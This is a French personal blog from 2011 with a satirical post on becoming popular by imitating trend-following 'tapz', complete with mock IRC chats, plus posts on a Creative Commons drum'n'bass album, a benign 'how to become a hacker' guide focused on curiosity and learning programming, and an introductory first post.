Être populaire, voilà le rêve de beaucoup de personnes! ~~C'est ce que propose ce blog pour 5€ par mois~~. Plus sérieusement (ou pas, faut pas exagérer non plus), ce billet permet de dégager certains comportements humains habituels, qui une fois compris et exploités, peuvent vous servir à être populaire, c'est-à-dire devenir vous aussi une tapz. c00l non?

La plupart des gens sont des tapz, c'est-à-dire une bande de moutons qui suivent le "troupeau": (règle d'or, à garder toujours en tête) les tapz suivent les effets de mode, de peur d'être rejetées, c'est-à-dire d'être considérée comme une tapz par leurs pairs. En effet, elles ignorent les personnes un peu "différentes" qui ne s'intéressent pas aux intérêts de masse (football,facebook,et j'en passe).
Faites semblant de vous y intéresser aux trucs à la mode: ces thèmes sont au centre des discussions des tapz. Si vous , vous ne pourrez pas engager de conversations avec la plupart des ovins et autre animaux de la ferme. Intéressez-vous donc aux célébrités et leur vie dont personne n'a rien à faire (Lady Gaga,Justin Bieber, etc...), au football et à facebook, pour ne pas passer pour l'extraterrestre de service. TF1 par exemple, vous permettera de vous familiariser avec cette culture assez rapidement (et sa très intelligente émission "Secret Story").
Faites simples: Un style recherché vous vaudra au mieux une incompréhension de vos interlocuteurs, et au pire des moqueries de ceux-ci (au moins, ceux-ci appliquent très bien le concept KISS). Ainsi un «passe moi la flotte stp» sera plus facilement compréhensible que «Pourriez-vous éventuellement me donner quelque chose à boire, s'il vous plaît, très cher?» , qui vous vaudra l'étiquette de "connard de bourgeois". N'hésitez pas non plus à utiliser des gros mots et autres insultes (mais pas trop, sous peine d'être vu comme une "racaille").
Adoptez une orthographe lamentable: En effet, écrire en français vous fera passer pour un dinosaure, un fossile voire un vieux granite de 500 millions d'années. Avouez que c'est plus agréable de lire «cc tlm c moi jvou kiff tous bizz xd mdr lol» que «Bonjour tout le monde, votre salon semble assez accueillant»
Comportez-vous comme une tapz: si tout le monde se tient vautré en mangeant comme des porcs, faites de même. Cependant, essayez de vous démarquer de l'opinion publique en lançant des débats très intéressants comme «Lady Gaga est une grosse tapz, moi j'kiffe grave Britney Spears» (les fautes éventuelles dans les noms montrent bien ma connaissance approfondie du sujet)

Voilà, avec tout ça, vous devenez un parfait petit mouton, une belle tapz prête à avoir un semblant de vie sociale.

Illustration

Imaginons-donc une conversation avec D4rkV4d0r, passionné de programmation et de littérature, et Choupinette1996, l'exemple parfait de la tapz. Cela donnerait à peu près:

* D4rkv4d0r (~D4rkv4d0r@dangerous.h4x0r) a rejoint #amitie-facile
<D4rkv4d0r> Bonjour tout le monde :)
<Choupinette1996> slt sa va b1?
<D4rkv4d0r> Tu peux répéter, j'ai pas compris ce que tu as dit :s
<Choupinette1996> jkiff tro lady gaga elé tro belle xD
<D4rkv4d0r> Il me semble t'avoir demandé quelque chose
<Choupinette1996> lol t de kèl planèt? t mon pèr?
* D4rkv4d0r est parti (Papa retourne sur Mars!!)

Comme on peut voir ici, le début de conversation est mal parti, d'autant plus que le pseudo ne convient pas aux normes kikoulols (l'écriture 1337 n'est pas compréhensible pour eux). On va donc sauver D4rkv4d0r et le renommer en Pitchnou_bogoss1997. D4rkv4dor va donc se déconnecter et se reconnecter sous son nouveau pseudo, puis appliquer les principes de base de cet article. La conversation donnera donc:

* Pitchnou_bogoss1997 (~bogoss@justin.bieber.en.force) a rejoint #amitie-facile
<Pitchnou_bogoss1997> slt les ami, j'vou kiff grav
<Choupinette1996> kikou pitchnou ta lair grav kool toi tékout koi? moi c lady gaga
<Pitchnou_bogoss1997> lol c nul lady gaga xD mdr et justin bieber il é tro bo!
<Choupinette1996> tain t cool toi c koi ton msn?
<Pitchnou_bogoss1997> g pa msn jutilise jabber <--- **Nooon faut pas dire ça !**
<Choupinette1996> c koi?
<Pitchnou_bogoss1997> c msn en mieu mé en fait tlm utilise msn
<Choupinette1996> pk?
<Pitchnou_bogoss1997> ba lé gen c des moutons xD
<Choupinette1996> é cmt sa s'install?
<Pitchnou_bogoss1997> http://lmgtfy.fr/?q=jabber+windows
<Choupinette1996> lol c koi ce truk? et pk ma souris elle bouge? ta mis 1 virus?
* Pitchnou_bogoss1997 est parti (Décidément j'y arriverai jamais -.-)

Digital Rabbits

2011-07-04T18:31:00+02:00

J'ouvre la partie "Musiques" de ce blog avec une découverte: il s'agit de "Digital Rabbits", un artiste russe (et oui, j'ai un penchant pour tout ce qui provient de l'Europe de l'Est). Bref, son album s'appelle "Crazy Rabbits" (un fan des lapins on va dire), qui a la particularité d'être sous licence Creative Commons, donc téléchargeable librement.
Cet artiste a mélangé la Drum'n'bass et Dubstep, pour nous offrir cette petite merveille, librement téléchargable ci-dessous:

Comment devenir un hacker

2011-07-02T16:52:00+02:00

Cet article a pour but de vous expliquer comment "devenir" un hacker. Cependant, si vous cherchez à pirater MSN, facebook ou d'autres conneries du genre, allez voir ici si j'y suis. Si vous n'êtes pas dans ce cas, ce qui suit vous sera certainement utile pour découvrir le passionnant monde des hackers.

Il n'y a pas réellement de définition formelle des hackers: le terme "hacker" est un compliment qui nous est attribué par ses pairs. Inutile donc de vous autoproclamer "hacker", si personne ne vous reconnaît comme tel (sauf si vous avez envie de vous ridiculiser). Voilà donc quelques points qui permettent de "dégrossir" un peu le terme hacker:

Être un hacker, c'est avoir un certain état d'esprit: en effet, être hacker c'est être curieux, vouloir comprendre comment les choses fonctionnent afin de les modifier, voire améliorer leur fonctionnement.
Un hacker doit admettre qu'il ne peut pas tout savoir: il y a tellement de choses à découvrir qu'il faudrait plus d'une vie pour tout découvrir et comprendre.
Ne pas hésiter à essayer, expérimenter, se tromper et comprendre ses erreurs: l'expérimentation et le bidouillage sont à la base du hacking ("to hack" signifie par ailleurs "bidouiller")
Enfin, chose importante: un hacker doit savoir trouver par lui-même les solutions à ses problèmes, surtout s'ils sont basiques (comme trouver un tutoriel pour apprendre à programmer). Evitez donc de poser des questions sans avoir cherché auparavant, les hackers ne sont pas des assistantes sociales et ce genre de questions les énerve (ou leur permet de se moquer de vous).

Être hacker demande donc une mentalité particulière, qu'il faut posséder (ou acquérir grâce à une discipline mentale forte) pour réussir dans le "monde" des hackers. Pour votre apprentissage, je vous recommande d'étudier ces différents points et d'approfondir ces différents points:

Apprendre un langage de programmation bas-niveau (C ou assembleur)
Apprendre un langage haut niveau ou de script (Python, Java...)
Etudier les protocoles réseau (Ethernet, ARP, IP, TCP et UDP notamment)
Installer un Unix libre (Linux ou un BSD) et apprendre à s'en servir puis comprendre son fonctionnement.
Contribuer à un projet open-source. Ainsi vous pourrez vous perfectionner dans la maîtrise des langages de programmation que vous aurez appris.

Je vous recommande par ailleurs de lire ce texte (dont je me suis fortement inspiré) afin d'avoir une idée plus complète de ce qu'est le hacking.

Premier article

2011-07-02T13:49:00+02:00

Bonjour à tous!
Ceci est mon premier billet sur ce blog (il faut bien commencer par quelque chose!).
Ce blog parlera entre autres de tous les sujets qui me passionnent (hacking/programmation, musique, etc...)
En attendant, je pense que certaines personnes sont assez intriguées par ce pseudonyme pour le moins étrange que je porte. Tout d'abord ce pseudonyme n'a aucune siginfication, c'est juste un ensemble de lettres dont l'agencement m'a plu, que j'ai choisi de conserver comme pseudonyme.